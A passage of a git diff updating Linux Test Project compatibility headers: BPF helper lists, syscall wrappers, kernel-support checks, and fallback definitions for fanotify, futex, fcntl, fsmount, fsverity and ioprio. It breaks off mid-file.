FN(sk_storage_delete), \ - FN(send_signal), + FN(send_signal), \ + FN(tcp_gen_syncookie), \ + FN(skb_output), \ + FN(probe_read_user), \ + FN(probe_read_kernel), \ + FN(probe_read_user_str), \ + FN(probe_read_kernel_str), \ + FN(tcp_send_ack), \ + FN(send_signal_thread), \ + FN(jiffies64), \ + FN(read_branch_records), \ + FN(get_ns_current_pid_tgid), \ + FN(xdp_output), \ + FN(get_netns_cookie), \ + FN(get_current_ancestor_cgroup_id), \ + FN(sk_assign), \ + FN(ktime_get_boot_ns), \ + FN(seq_printf), \ + FN(seq_write), \ + FN(sk_cgroup_id), \ + FN(sk_ancestor_cgroup_id), \ + FN(ringbuf_output), \ + FN(ringbuf_reserve), \ + FN(ringbuf_submit), \ + FN(ringbuf_discard), \ + FN(ringbuf_query), \ + FN(csum_level), /* integer value in 'imm' field of BPF_CALL instruction selects which helper * function eBPF program intends to call diff --git a/include/lapi/capability.h b/include/lapi/capability.h index 8cabd0f2..17ec107b 100755 --- a/include/lapi/capability.h +++ b/include/lapi/capability.h @@ -24,6 +24,10 @@ # define CAP_NET_RAW 13 #endif +#ifndef CAP_IPC_LOCK +# define CAP_IPC_LOCK 14 +#endif + #ifndef CAP_SYS_CHROOT # define CAP_SYS_CHROOT 18 #endif diff --git a/include/lapi/close_range.h b/include/lapi/close_range.h index 19db52d3..0e464bb3 100755 --- a/include/lapi/close_range.h +++ b/include/lapi/close_range.h @@ -25,4 +25,17 @@ static inline int close_range(unsigned int fd, unsigned int max_fd, return tst_syscall(__NR_close_range, fd, max_fd, flags); } # endif + +static inline void close_range_supported_by_kernel(void) +{ + long ret; + + if ((tst_kvercmp(5, 9, 0)) < 0) { + /* Check if the syscall is backported on an older kernel */ + ret = syscall(__NR_close_range, 1, 0, 0); + if (ret == -1 && errno == ENOSYS) + tst_brk(TCONF, "Test not supported on kernel version < v5.9"); + } +} + #endif /* LAPI_CLOSE_RANGE_H__ */ diff --git a/include/lapi/common_timers.h b/include/lapi/common_timers.h index 8d88ac47..884c997a 100755 --- a/include/lapi/common_timers.h +++ b/include/lapi/common_timers.h @@ -63,11 +63,6 @@ static inline int possibly_unsupported(clock_t clock) } } -static inline int have_cputime_timers(void) -{ - return tst_kvercmp(2, 6, 12) >= 0; -} - #include "lapi/syscalls.h" #include diff --git a/include/lapi/cpuid.h b/include/lapi/cpuid.h new file mode 100644 index 00000000..7ec785ec --- /dev/null +++ b/include/lapi/cpuid.h @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: GPL-2.0-or-later + +#if !(defined(__i386__) || defined(__x86_64__)) +# error "cpuid.h should only be included on x86" +#endif + +#ifdef HAVE_CPUID_H +# include +#endif + +#ifndef LAPI_CPUID_H__ +#define LAPI_CPUID_H__ + +/* + * gcc cpuid.h provides __cpuid_count() since v4.4. + * Clang/LLVM cpuid.h provides __cpuid_count() since v3.4.0. + * + * Provide local define for tests needing __cpuid_count() because + * ltp needs to work in older environments that do not yet + * have __cpuid_count(). + */ +#ifndef __cpuid_count +#define __cpuid_count(level, count, a, b, c, d) ({ \ + __asm__ __volatile__ ("cpuid\n\t" \ + : "=a" (a), "=b" (b), "=c" (c), "=d" (d) \ + : "0" (level), "2" (count)); \ +}) +#endif + +#endif /* LAPI_CPUID_H__ */ diff --git a/include/lapi/faccessat.h b/include/lapi/faccessat.h new file mode 100644 index 00000000..05997d97 --- /dev/null +++ b/include/lapi/faccessat.h @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 FUJITSU LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2003-2023 + * Author: Yang Xu + */ + +#ifndef FACCESSAT2_H +#define FACCESSAT2_H + +#include "tst_test.h" +#include "config.h" +#include "lapi/syscalls.h" + +#ifndef HAVE_FACCESSAT2 +int faccessat2(int dirfd, const char *pathname, int mode, int flags) +{ + return tst_syscall(__NR_faccessat2, dirfd, pathname, mode, flags); +} +#endif + +#endif /* FACCESSAT2_H */ diff --git a/include/lapi/fallocate.h b/include/lapi/fallocate.h index 92b6994a..fc246bcf 100755 --- a/include/lapi/fallocate.h +++ b/include/lapi/fallocate.h @@ -36,19 +36,13 @@ #if !defined(HAVE_FALLOCATE) -# ifdef __TEST_H__ -# define TST_SYSCALL_WRAPPER ltp_syscall -# else -# define TST_SYSCALL_WRAPPER tst_syscall -# endif /* __TEST_H__ */ - static inline long fallocate(int fd, int mode, loff_t offset, loff_t len) { /* Deal with 32bit ABIs that have 64bit syscalls. */ # if LTP_USE_64_ABI - return TST_SYSCALL_WRAPPER(__NR_fallocate, fd, mode, offset, len); + return tst_syscall(__NR_fallocate, fd, mode, offset, len); # else - return (long)TST_SYSCALL_WRAPPER(__NR_fallocate, fd, mode, + return (long)tst_syscall(__NR_fallocate, fd, mode, __LONG_LONG_PAIR((off_t) (offset >> 32), (off_t) offset), __LONG_LONG_PAIR((off_t) (len >> 32), diff --git a/include/lapi/fanotify.h b/include/lapi/fanotify.h new file mode 100644 index 00000000..4bd1a113 --- /dev/null +++ b/include/lapi/fanotify.h @@ -0,0 +1,211 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Copyright (c) 2012-2022 Linux Test Project. All Rights Reserved. + * Author: Jan Kara, November 2013 + */ + +#ifndef LAPI_FANOTIFY_H__ +#define LAPI_FANOTIFY_H__ + +#include "config.h" +#include +#include + +#ifndef FAN_REPORT_TID +#define FAN_REPORT_TID 0x00000100 +#endif +#ifndef FAN_REPORT_FID +#define FAN_REPORT_FID 0x00000200 +#endif +#ifndef FAN_REPORT_DIR_FID +#define FAN_REPORT_DIR_FID 0x00000400 +#endif +#ifndef FAN_REPORT_NAME +#define FAN_REPORT_NAME 0x00000800 +#define FAN_REPORT_DFID_NAME (FAN_REPORT_DIR_FID | FAN_REPORT_NAME) +#endif +#ifndef FAN_REPORT_PIDFD +#define FAN_REPORT_PIDFD 0x00000080 +#endif +#ifndef FAN_REPORT_TARGET_FID +#define FAN_REPORT_TARGET_FID 0x00001000 +#define FAN_REPORT_DFID_NAME_TARGET (FAN_REPORT_DFID_NAME | \ + FAN_REPORT_FID | FAN_REPORT_TARGET_FID) +#endif + +/* Non-uapi convenience macros */ +#ifndef FAN_REPORT_DFID_NAME_FID +#define FAN_REPORT_DFID_NAME_FID (FAN_REPORT_DFID_NAME | FAN_REPORT_FID) +#endif +#ifndef FAN_REPORT_DFID_FID +#define FAN_REPORT_DFID_FID (FAN_REPORT_DIR_FID | FAN_REPORT_FID) +#endif + +#ifndef FAN_MARK_INODE +#define FAN_MARK_INODE 0 +#endif +#ifndef FAN_MARK_FILESYSTEM +#define FAN_MARK_FILESYSTEM 0x00000100 +#endif +#ifndef FAN_MARK_EVICTABLE +#define FAN_MARK_EVICTABLE 0x00000200 +#endif +#ifndef FAN_MARK_IGNORE +#define FAN_MARK_IGNORE 0x00000400 +#endif +#ifndef FAN_MARK_IGNORE_SURV +#define FAN_MARK_IGNORE_SURV (FAN_MARK_IGNORE | FAN_MARK_IGNORED_SURV_MODIFY) +#endif +/* Non-uapi convenience macros */ +#ifndef FAN_MARK_IGNORED_SURV +#define FAN_MARK_IGNORED_SURV (FAN_MARK_IGNORED_MASK | \ + FAN_MARK_IGNORED_SURV_MODIFY) +#endif +#ifndef FAN_MARK_PARENT +#define FAN_MARK_PARENT FAN_MARK_ONLYDIR +#endif +#ifndef FAN_MARK_SUBDIR +#define FAN_MARK_SUBDIR FAN_MARK_ONLYDIR +#endif +#ifndef FAN_MARK_TYPES +#define FAN_MARK_TYPES (FAN_MARK_INODE | FAN_MARK_MOUNT | FAN_MARK_FILESYSTEM) +#endif + +/* New dirent event masks */ +#ifndef FAN_ATTRIB +#define FAN_ATTRIB 0x00000004 +#endif +#ifndef FAN_MOVED_FROM +#define FAN_MOVED_FROM 0x00000040 +#endif +#ifndef FAN_MOVED_TO +#define FAN_MOVED_TO 0x00000080 +#endif +#ifndef FAN_CREATE +#define FAN_CREATE 0x00000100 +#endif +#ifndef FAN_DELETE +#define FAN_DELETE 0x00000200 +#endif +#ifndef FAN_DELETE_SELF +#define FAN_DELETE_SELF 0x00000400 +#endif +#ifndef FAN_MOVE_SELF +#define FAN_MOVE_SELF 0x00000800 +#endif +#ifndef FAN_MOVE +#define FAN_MOVE (FAN_MOVED_FROM | FAN_MOVED_TO) +#endif +#ifndef FAN_OPEN_EXEC +#define FAN_OPEN_EXEC 0x00001000 +#endif +#ifndef FAN_OPEN_EXEC_PERM +#define FAN_OPEN_EXEC_PERM 0x00040000 +#endif +#ifndef FAN_FS_ERROR +#define FAN_FS_ERROR 0x00008000 +#endif +#ifndef FAN_RENAME +#define FAN_RENAME 0x10000000 +#endif + +/* Additional error status codes that can be returned to userspace */ +#ifndef FAN_NOPIDFD +#define FAN_NOPIDFD -1 +#endif +#ifndef FAN_EPIDFD +#define FAN_EPIDFD -2 +#endif + +/* Flags required for unprivileged user group */ +#define FANOTIFY_REQUIRED_USER_INIT_FLAGS (FAN_REPORT_FID) + +/* + * FAN_ALL_PERM_EVENTS has been deprecated, so any new permission events + * are not to be added to it. To cover the instance where a new permission + * event is defined, we create a new macro that is to include all + * permission events. Any new permission events should be added to this + * macro. + */ +#define LTP_ALL_PERM_EVENTS (FAN_OPEN_PERM | FAN_OPEN_EXEC_PERM | \ + FAN_ACCESS_PERM) + +struct fanotify_group_type { + unsigned int flag; + const char *name; +}; + +struct fanotify_mark_type { + unsigned int flag; + const char *name; +}; + +#ifndef __kernel_fsid_t +typedef struct { + int val[2]; +} lapi_fsid_t; +#define __kernel_fsid_t lapi_fsid_t +#endif /* __kernel_fsid_t */ + +#ifndef FAN_EVENT_INFO_TYPE_FID +#define FAN_EVENT_INFO_TYPE_FID 1 +#endif +#ifndef FAN_EVENT_INFO_TYPE_DFID_NAME +#define FAN_EVENT_INFO_TYPE_DFID_NAME 2 +#endif +#ifndef FAN_EVENT_INFO_TYPE_DFID +#define FAN_EVENT_INFO_TYPE_DFID 3 +#endif +#ifndef FAN_EVENT_INFO_TYPE_PIDFD +#define FAN_EVENT_INFO_TYPE_PIDFD 4 +#endif +#ifndef FAN_EVENT_INFO_TYPE_ERROR +#define FAN_EVENT_INFO_TYPE_ERROR 5 +#endif + +#ifndef FAN_EVENT_INFO_TYPE_OLD_DFID_NAME +#define FAN_EVENT_INFO_TYPE_OLD_DFID_NAME 10 +#endif +#ifndef FAN_EVENT_INFO_TYPE_NEW_DFID_NAME +#define FAN_EVENT_INFO_TYPE_NEW_DFID_NAME 12 +#endif + +#ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_HEADER +struct fanotify_event_info_header { + uint8_t info_type; + uint8_t pad; + uint16_t len; +}; +#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_HEADER */ + +#ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_FID +struct fanotify_event_info_fid { + struct fanotify_event_info_header hdr; + __kernel_fsid_t fsid; + unsigned char handle[0]; +}; +#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_FID */ + +#ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_PIDFD +struct fanotify_event_info_pidfd { + struct fanotify_event_info_header hdr; + int32_t pidfd; +}; +#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_PIDFD */ + +#ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_ERROR +struct fanotify_event_info_error { + struct fanotify_event_info_header hdr; + __s32 error; + __u32 error_count; +}; +#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_ERROR */ + +/* NOTE: only for struct fanotify_event_info_fid */ +#ifdef HAVE_STRUCT_FANOTIFY_EVENT_INFO_FID_FSID___VAL +# define FSID_VAL_MEMBER(fsid, i) (fsid.__val[i]) +#else +# define FSID_VAL_MEMBER(fsid, i) (fsid.val[i]) +#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_FID_FSID___VAL */ + +#endif /* LAPI_FANOTIFY_H__ */ diff --git a/include/lapi/fcntl.h b/include/lapi/fcntl.h index 8a0a893f..cb216e2d 100755 --- a/include/lapi/fcntl.h +++ b/include/lapi/fcntl.h @@ -1,6 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2014 Cyril Hrubis + * Copyright (c) Linux Test Project, 2014-2023 */ #ifndef LAPI_FCNTL_H__ @@ -10,9 +11,7 @@ #include #include -#ifndef O_DIRECT -# define O_DIRECT 040000 -#endif +/* NOTE: #define _GNU_SOURCE if you need O_DIRECT in tests */ #ifndef O_CLOEXEC # define O_CLOEXEC 02000000 @@ -87,20 +86,40 @@ # define AT_FDCWD -100 #endif +#ifndef AT_SYMLINK_NOFOLLOW +# define AT_SYMLINK_NOFOLLOW 0x100 +#endif + +#ifndef AT_REMOVEDIR +# define AT_REMOVEDIR 0x200 +#endif + #ifndef AT_SYMLINK_FOLLOW -# define AT_SYMLINK_FOLLOW 0x400 +# define AT_SYMLINK_FOLLOW 0x400 #endif -#ifndef AT_SYMLINK_NOFOLLOW -# define AT_SYMLINK_NOFOLLOW 0x100 +#ifndef AT_NO_AUTOMOUNT +# define AT_NO_AUTOMOUNT 0x800 #endif #ifndef AT_EMPTY_PATH -# define AT_EMPTY_PATH 0x1000 +# define AT_EMPTY_PATH 0x1000 #endif -#ifndef AT_REMOVEDIR -# define AT_REMOVEDIR 0x200 +#ifndef AT_STATX_SYNC_AS_STAT +# define AT_STATX_SYNC_AS_STAT 0x0000 +#endif + +#ifndef AT_STATX_FORCE_SYNC +# define AT_STATX_FORCE_SYNC 0x2000 +#endif + +#ifndef AT_STATX_DONT_SYNC +# define AT_STATX_DONT_SYNC 0x4000 +#endif + +#ifndef AT_STATX_SYNC_TYPE +# define AT_STATX_SYNC_TYPE 0x6000 #endif #ifndef O_NOATIME @@ -141,6 +160,9 @@ # define MAX_HANDLE_SZ 128 #endif +#define TST_OPEN_NEEDS_MODE(oflag) \ + (((oflag) & O_CREAT) != 0 || ((oflag) & O_TMPFILE) == O_TMPFILE) + #ifndef HAVE_STRUCT_FILE_HANDLE struct file_handle { unsigned int handle_bytes; diff --git a/include/lapi/fs.h b/include/lapi/fs.h index aafeab44..c19ee821 100755 --- a/include/lapi/fs.h +++ b/include/lapi/fs.h @@ -6,39 +6,46 @@ * Email: code@zilogic.com */ -#ifdef HAVE_LINUX_FS_H -# include +#ifndef LAPI_FS_H__ +#define LAPI_FS_H__ + +#include "config.h" +#ifndef HAVE_MOUNT_SETATTR +# ifdef HAVE_LINUX_FS_H +# include +# endif #endif #include #include #include "lapi/abisize.h" -#ifndef LAPI_FS_H__ -#define LAPI_FS_H__ - #ifndef FS_IOC_GETFLAGS -#define FS_IOC_GETFLAGS _IOR('f', 1, long) +# define FS_IOC_GETFLAGS _IOR('f', 1, long) #endif #ifndef FS_IOC_SETFLAGS -#define FS_IOC_SETFLAGS _IOW('f', 2, long) +# define FS_IOC_SETFLAGS _IOW('f', 2, long) #endif #ifndef FS_COMPR_FL -#define FS_COMPR_FL 0x00000004 /* Compress file */ +# define FS_COMPR_FL 0x00000004 /* Compress file */ #endif #ifndef FS_IMMUTABLE_FL -#define FS_IMMUTABLE_FL 0x00000010 /* Immutable file */ +# define FS_IMMUTABLE_FL 0x00000010 /* Immutable file */ #endif #ifndef FS_APPEND_FL -#define FS_APPEND_FL 0x00000020 /* writes to file may only append */ +# define FS_APPEND_FL 0x00000020 /* writes to file may only append */ #endif #ifndef FS_NODUMP_FL -#define FS_NODUMP_FL 0x00000040 /* do not dump file */ +# define FS_NODUMP_FL 0x00000040 /* do not dump file */ +#endif + +#ifndef FS_VERITY_FL +# define FS_VERITY_FL 0x00100000 /* Verity protected inode */ #endif /* diff --git a/include/lapi/fsmount.h b/include/lapi/fsmount.h index fa253067..07eb42ff 100755 --- a/include/lapi/fsmount.h +++ b/include/lapi/fsmount.h @@ -1,5 +1,6 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2021-2022 * Copyright (c) 2020 Linaro Limited. All rights reserved. * Author: Viresh Kumar */ @@ -7,14 +8,58 @@ #ifndef LAPI_FSMOUNT_H__ #define LAPI_FSMOUNT_H__ -#include +#include "config.h" #include #include +#include + +#ifndef HAVE_FSOPEN +# ifdef HAVE_LINUX_MOUNT_H +# include +# endif +#endif -#include "config.h" #include "lapi/fcntl.h" #include "lapi/syscalls.h" +/* + * Mount attributes. + */ +#ifndef MOUNT_ATTR_RDONLY +# define MOUNT_ATTR_RDONLY 0x00000001 /* Mount read-only */ +#endif +#ifndef MOUNT_ATTR_NOSUID +# define MOUNT_ATTR_NOSUID 0x00000002 /* Ignore suid and sgid bits */ +#endif +#ifndef MOUNT_ATTR_NODEV +# define MOUNT_ATTR_NODEV 0x00000004 /* Disallow access to device special files */ +#endif +#ifndef MOUNT_ATTR_NOEXEC +# define MOUNT_ATTR_NOEXEC 0x00000008 /* Disallow program execution */ +#endif +#ifndef MOUNT_ATTR_NODIRATIME +# define MOUNT_ATTR_NODIRATIME 0x00000080 /* Do not update directory access times */ +#endif +#ifndef MOUNT_ATTR_NOSYMFOLLOW +# define MOUNT_ATTR_NOSYMFOLLOW 0x00200000 /* Do not follow symlinks */ +#endif + +#ifndef ST_NOSYMFOLLOW +# define ST_NOSYMFOLLOW 0x2000 /* do not follow symlinks */ +#endif + +#ifndef HAVE_STRUCT_MOUNT_ATTR +/* + * mount_setattr() + */ +struct mount_attr { + uint64_t attr_set; + uint64_t attr_clr; + uint64_t propagation; + uint64_t userns_fd; +}; +#endif + #ifndef HAVE_FSOPEN static inline int fsopen(const char *fsname, unsigned int flags) { @@ -61,6 +106,15 @@ static inline int open_tree(int dirfd, const char *pathname, unsigned int flags) } #endif /* HAVE_OPEN_TREE */ +#ifndef HAVE_MOUNT_SETATTR +static inline int mount_setattr(int dirfd, const char *from_pathname, unsigned int flags, + struct mount_attr *attr, size_t size) +{ + return tst_syscall(__NR_mount_setattr, dirfd, from_pathname, flags, + attr, size); +} +#endif /* HAVE_MOUNT_SETATTR */ + /* * New headers added in kernel after 5.2 release, create them for old userspace. */ diff --git a/include/lapi/fsverity.h b/include/lapi/fsverity.h new file mode 100644 index 00000000..3a33ca83 --- /dev/null +++ b/include/lapi/fsverity.h @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Dai Shili + */ +#ifndef LAPI_FSVERITY_H__ +#define LAPI_FSVERITY_H__ + +#include "config.h" +#include +#include + +#ifdef HAVE_LINUX_FSVERITY_H +#include +#endif + +#ifndef FS_VERITY_HASH_ALG_SHA256 +# define FS_VERITY_HASH_ALG_SHA256 1 +#endif + +#ifndef HAVE_STRUCT_FSVERITY_ENABLE_ARG +struct fsverity_enable_arg { + uint32_t version; + uint32_t hash_algorithm; + uint32_t block_size; + uint32_t salt_size; + uint64_t salt_ptr; + uint32_t sig_size; + uint32_t __reserved1; + uint64_t sig_ptr; + uint64_t __reserved2[11]; +}; +#endif + +#ifndef FS_IOC_ENABLE_VERITY +# define FS_IOC_ENABLE_VERITY _IOW('f', 133, struct fsverity_enable_arg) +#endif + +#endif diff --git a/include/lapi/futex.h b/include/lapi/futex.h index 00b26c35..a05fcb89 100755 --- a/include/lapi/futex.h +++ b/include/lapi/futex.h @@ -1,12 +1,14 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2015 Linux Test Project + * Copyright (C) 2021 SUSE LLC Andrea Cervesato */ #ifndef LAPI_FUTEX_H__ #define LAPI_FUTEX_H__ #include +#include "config.h" typedef volatile uint32_t futex_t; @@ -14,4 +16,182 @@ typedef volatile uint32_t futex_t; #define SYS_futex SYS_futex_time64 #endif +#ifdef HAVE_LINUX_FUTEX_H +# include +#else +#include + +#define FUTEX_WAIT 0 +#define FUTEX_WAKE 1 +#define FUTEX_FD 2 +#define FUTEX_REQUEUE 3 +#define FUTEX_CMP_REQUEUE 4 +#define FUTEX_WAKE_OP 5 +#define FUTEX_LOCK_PI 6 +#define FUTEX_UNLOCK_PI 7 +#define FUTEX_TRYLOCK_PI 8 +#define FUTEX_WAIT_BITSET 9 +#define FUTEX_WAKE_BITSET 10 +#define FUTEX_WAIT_REQUEUE_PI 11 +#define FUTEX_CMP_REQUEUE_PI 12 +#define FUTEX_LOCK_PI2 13 + +#define FUTEX_PRIVATE_FLAG 128 +#define FUTEX_CLOCK_REALTIME 256 +#define FUTEX_CMD_MASK ~(FUTEX_PRIVATE_FLAG | FUTEX_CLOCK_REALTIME) + +#define FUTEX_WAIT_PRIVATE (FUTEX_WAIT | FUTEX_PRIVATE_FLAG) +#define FUTEX_WAKE_PRIVATE (FUTEX_WAKE | FUTEX_PRIVATE_FLAG) +#define FUTEX_REQUEUE_PRIVATE (FUTEX_REQUEUE | FUTEX_PRIVATE_FLAG) +#define FUTEX_CMP_REQUEUE_PRIVATE (FUTEX_CMP_REQUEUE | FUTEX_PRIVATE_FLAG) +#define FUTEX_WAKE_OP_PRIVATE (FUTEX_WAKE_OP | FUTEX_PRIVATE_FLAG) +#define FUTEX_LOCK_PI_PRIVATE (FUTEX_LOCK_PI | FUTEX_PRIVATE_FLAG) +#define FUTEX_LOCK_PI2_PRIVATE (FUTEX_LOCK_PI2 | FUTEX_PRIVATE_FLAG) +#define FUTEX_UNLOCK_PI_PRIVATE (FUTEX_UNLOCK_PI | FUTEX_PRIVATE_FLAG) +#define FUTEX_TRYLOCK_PI_PRIVATE (FUTEX_TRYLOCK_PI | FUTEX_PRIVATE_FLAG) +#define FUTEX_WAIT_BITSET_PRIVATE (FUTEX_WAIT_BITSET | FUTEX_PRIVATE_FLAG) +#define FUTEX_WAKE_BITSET_PRIVATE (FUTEX_WAKE_BITSET | FUTEX_PRIVATE_FLAG) +#define FUTEX_WAIT_REQUEUE_PI_PRIVATE (FUTEX_WAIT_REQUEUE_PI | \ + FUTEX_PRIVATE_FLAG) +#define FUTEX_CMP_REQUEUE_PI_PRIVATE (FUTEX_CMP_REQUEUE_PI | \ + FUTEX_PRIVATE_FLAG) + +/* + * Support for robust futexes: the kernel cleans up held futexes at + * thread exit time. + */ + +/* + * Per-lock list entry - embedded in user-space locks, somewhere close + * to the futex field. (Note: user-space uses a double-linked list to + * achieve O(1) list add and remove, but the kernel only needs to know + * about the forward link) + * + * NOTE: this structure is part of the syscall ABI, and must not be + * changed. + */ +struct robust_list { + struct robust_list *next; +}; + +/* + * Per-thread list head: + * + * NOTE: this structure is part of the syscall ABI, and must only be + * changed if the change is first communicated with the glibc folks. + * (When an incompatible change is done, we'll increase the structure + * size, which glibc will detect) + */ +struct robust_list_head { + /* + * The head of the list. Points back to itself if empty: + */ + struct robust_list list; + + /* + * This relative offset is set by user-space, it gives the kernel + * the relative position of the futex field to examine. This way + * we keep userspace flexible, to freely shape its data-structure, + * without hardcoding any particular offset into the kernel: + */ + long futex_offset; + + /* + * The death of the thread may race with userspace setting + * up a lock's links. So to handle this race, userspace first + * sets this field to the address of the to-be-taken lock, + * then does the lock acquire, and then adds itself to the + * list, and then clears this field. Hence the kernel will + * always have full knowledge of all locks that the thread + * _might_ have taken. We check the owner TID in any case, + * so only truly owned locks will be handled. + */ + struct robust_list *list_op_pending; +}; + +/* + * Are there any waiters for this robust futex: + */ +#define FUTEX_WAITERS 0x80000000 + +/* + * The kernel signals via this bit that a thread holding a futex + * has exited without unlocking the futex. The kernel also does + * a FUTEX_WAKE on such futexes, after setting the bit, to wake + * up any possible waiters: + */ +#define FUTEX_OWNER_DIED 0x40000000 + +/* + * The rest of the robust-futex field is for the TID: + */ +#define FUTEX_TID_MASK 0x3fffffff + +/* + * This limit protects against a deliberately circular list. + * (Not worth introducing an rlimit for it) + */ +#define ROBUST_LIST_LIMIT 2048 + +/* + * bitset with all bits set for the FUTEX_xxx_BITSET OPs to request a + * match of any bit. + */ +#define FUTEX_BITSET_MATCH_ANY 0xffffffff + + +#define FUTEX_OP_SET 0 /* *(int *)UADDR2 = OPARG; */ +#define FUTEX_OP_ADD 1 /* *(int *)UADDR2 += OPARG; */ +#define FUTEX_OP_OR 2 /* *(int *)UADDR2 |= OPARG; */ +#define FUTEX_OP_ANDN 3 /* *(int *)UADDR2 &= ~OPARG; */ +#define FUTEX_OP_XOR 4 /* *(int *)UADDR2 ^= OPARG; */ + +#define FUTEX_OP_OPARG_SHIFT 8 /* Use (1 << OPARG) instead of OPARG. */ + +#define FUTEX_OP_CMP_EQ 0 /* if (oldval == CMPARG) wake */ +#define FUTEX_OP_CMP_NE 1 /* if (oldval != CMPARG) wake */ +#define FUTEX_OP_CMP_LT 2 /* if (oldval < CMPARG) wake */ +#define FUTEX_OP_CMP_LE 3 /* if (oldval <= CMPARG) wake */ +#define FUTEX_OP_CMP_GT 4 /* if (oldval > CMPARG) wake */ +#define FUTEX_OP_CMP_GE 5 /* if (oldval >= CMPARG) wake */ + +/* FUTEX_WAKE_OP will perform atomically + int oldval = *(int *)UADDR2; + *(int *)UADDR2 = oldval OP OPARG; + if (oldval CMP CMPARG) + wake UADDR2; */ + +#define FUTEX_OP(op, oparg, cmp, cmparg) \ + (((op & 0xf) << 28) | ((cmp & 0xf) << 24) \ + | ((oparg & 0xfff) << 12) | (cmparg & 0xfff)) + +#endif /* HAVE_LINUX_FUTEX_H */ + +#ifndef HAVE_STRUCT_FUTEX_WAITV +/* + * Flags to specify the bit length of the futex word for futex2 syscalls. + * Currently, only 32 is supported. + */ +#define FUTEX_32 2 + +/* + * Max numbers of elements in a futex_waitv array + */ +#define FUTEX_WAITV_MAX 128 + +/** + * struct futex_waitv - A waiter for vectorized wait + * @val: Expected value at uaddr + * @uaddr: User address to wait on + * @flags: Flags for this waiter + * @__reserved: Reserved member to preserve data alignment. Should be 0. + */ +struct futex_waitv { + uint64_t val; + uint64_t uaddr; + uint32_t flags; + uint32_t __reserved; +}; +#endif /* HAVE_STRUCT_FUTEX_WAITV */ + #endif /* LAPI_FUTEX_H__ */ diff --git a/include/lapi/init_module.h b/include/lapi/init_module.h index 8c820059..ba0d2b26 100755 --- a/include/lapi/init_module.h +++ b/include/lapi/init_module.h @@ -8,8 +8,8 @@ #define LAPI_INIT_MODULE_H__ #include "config.h" -#include "lapi/syscalls.h" #include "tst_test.h" +#include "lapi/syscalls.h" static inline int init_module(void *module_image, unsigned long len, const char *param_values) @@ -22,16 +22,4 @@ static inline int finit_module(int fd, const char *param_values, int flags) return tst_syscall(__NR_finit_module, fd, param_values, flags); } -static inline void finit_module_supported_by_kernel(void) -{ - long ret; - - if ((tst_kvercmp(3, 8, 0)) < 0) { - /* Check if the syscall is backported on an older kernel */ - ret = syscall(__NR_finit_module, 0, "", 0); - if (ret == -1 && errno == ENOSYS) - tst_brk(TCONF, "Test not supported on kernel version < v3.8"); - } -} - #endif /* LAPI_INIT_MODULE_H__ */ diff --git a/include/lapi/io_uring.h b/include/lapi/io_uring.h index 39732451..a63741a0 100755 --- a/include/lapi/io_uring.h +++ b/include/lapi/io_uring.h @@ -297,13 +297,18 @@ static inline int io_uring_enter(int fd, unsigned int to_submit, static inline void io_uring_setup_supported_by_kernel(void) { long ret; - if ((tst_kvercmp(5, 1, 0)) < 0) { - ret = syscall(__NR_io_uring_setup, NULL, 0); - if (ret != -1) - SAFE_CLOSE(ret); - else if (errno == ENOSYS) + ret = syscall(__NR_io_uring_setup, NULL, 0); + if (ret != -1) { + SAFE_CLOSE(ret); + return; + } + + if (errno == ENOSYS) { + if ((tst_kvercmp(5, 1, 0)) < 0) { tst_brk(TCONF, "Test not supported on kernel version < v5.1"); + } + tst_brk(TCONF, "CONFIG_IO_URING not set?"); } } diff --git a/include/lapi/ioprio.h b/include/lapi/ioprio.h new file mode 100644 index 00000000..871aa027 --- /dev/null +++ b/include/lapi/ioprio.h @@ -0,0 +1,47 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Copyright (c) 2019 Linus Walleij + */ + +#ifndef LAPI_IOPRIO_H__ +#define LAPI_IOPRIO_H__ + +#include "config.h" + +#ifdef HAVE_LINUX_IOPRIO_H +# include +#else + +enum { + IOPRIO_CLASS_NONE = 0, + IOPRIO_CLASS_RT, + IOPRIO_CLASS_BE, + IOPRIO_CLASS_IDLE, +}; + +enum { + IOPRIO_WHO_PROCESS = 1, + IOPRIO_WHO_PGRP, + IOPRIO_WHO_USER, +}; + +# define IOPRIO_CLASS_SHIFT (13) +# define IOPRIO_PRIO_MASK ((1UL << IOPRIO_CLASS_SHIFT) - 1) + +# define IOPRIO_PRIO_CLASS(data) ((data) >> IOPRIO_CLASS_SHIFT) +# define IOPRIO_PRIO_VALUE(class, data) (((class) << IOPRIO_CLASS_SHIFT) | data) + +#endif + +/* The RT and BE I/O priority classes have 8 priority levels 0..7 */ +#ifdef IOPRIO_NR_LEVELS +# define IOPRIO_PRIO_NUM IOPRIO_NR_LEVELS +#else +# define IOPRIO_PRIO_NUM 8 +#endif + +#ifndef IOPRIO_PRIO_LEVEL +# define IOPRIO_PRIO_LEVEL(data) ((data) & IOPRIO_PRIO_MASK) +#endif + +#endif /* LAPI_IOPRIO_H__ */ diff --git a/include/lapi/ipc.h b/include/lapi/ipc.h new file mode 100644 index 00000000..5645c881 --- /dev/null +++ b/include/lapi/ipc.h @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 Arm Ltd. + */ +#ifndef LAPI_IPC_H__ +#define LAPI_IPC_H__ + +#include + +#ifndef IPC_INFO +# define IPC_INFO 3 +#endif + +#endif /* LAPI_IPC_H__ */ diff --git a/include/lapi/kcmp.h b/include/lapi/kcmp.h new file mode 100644 index 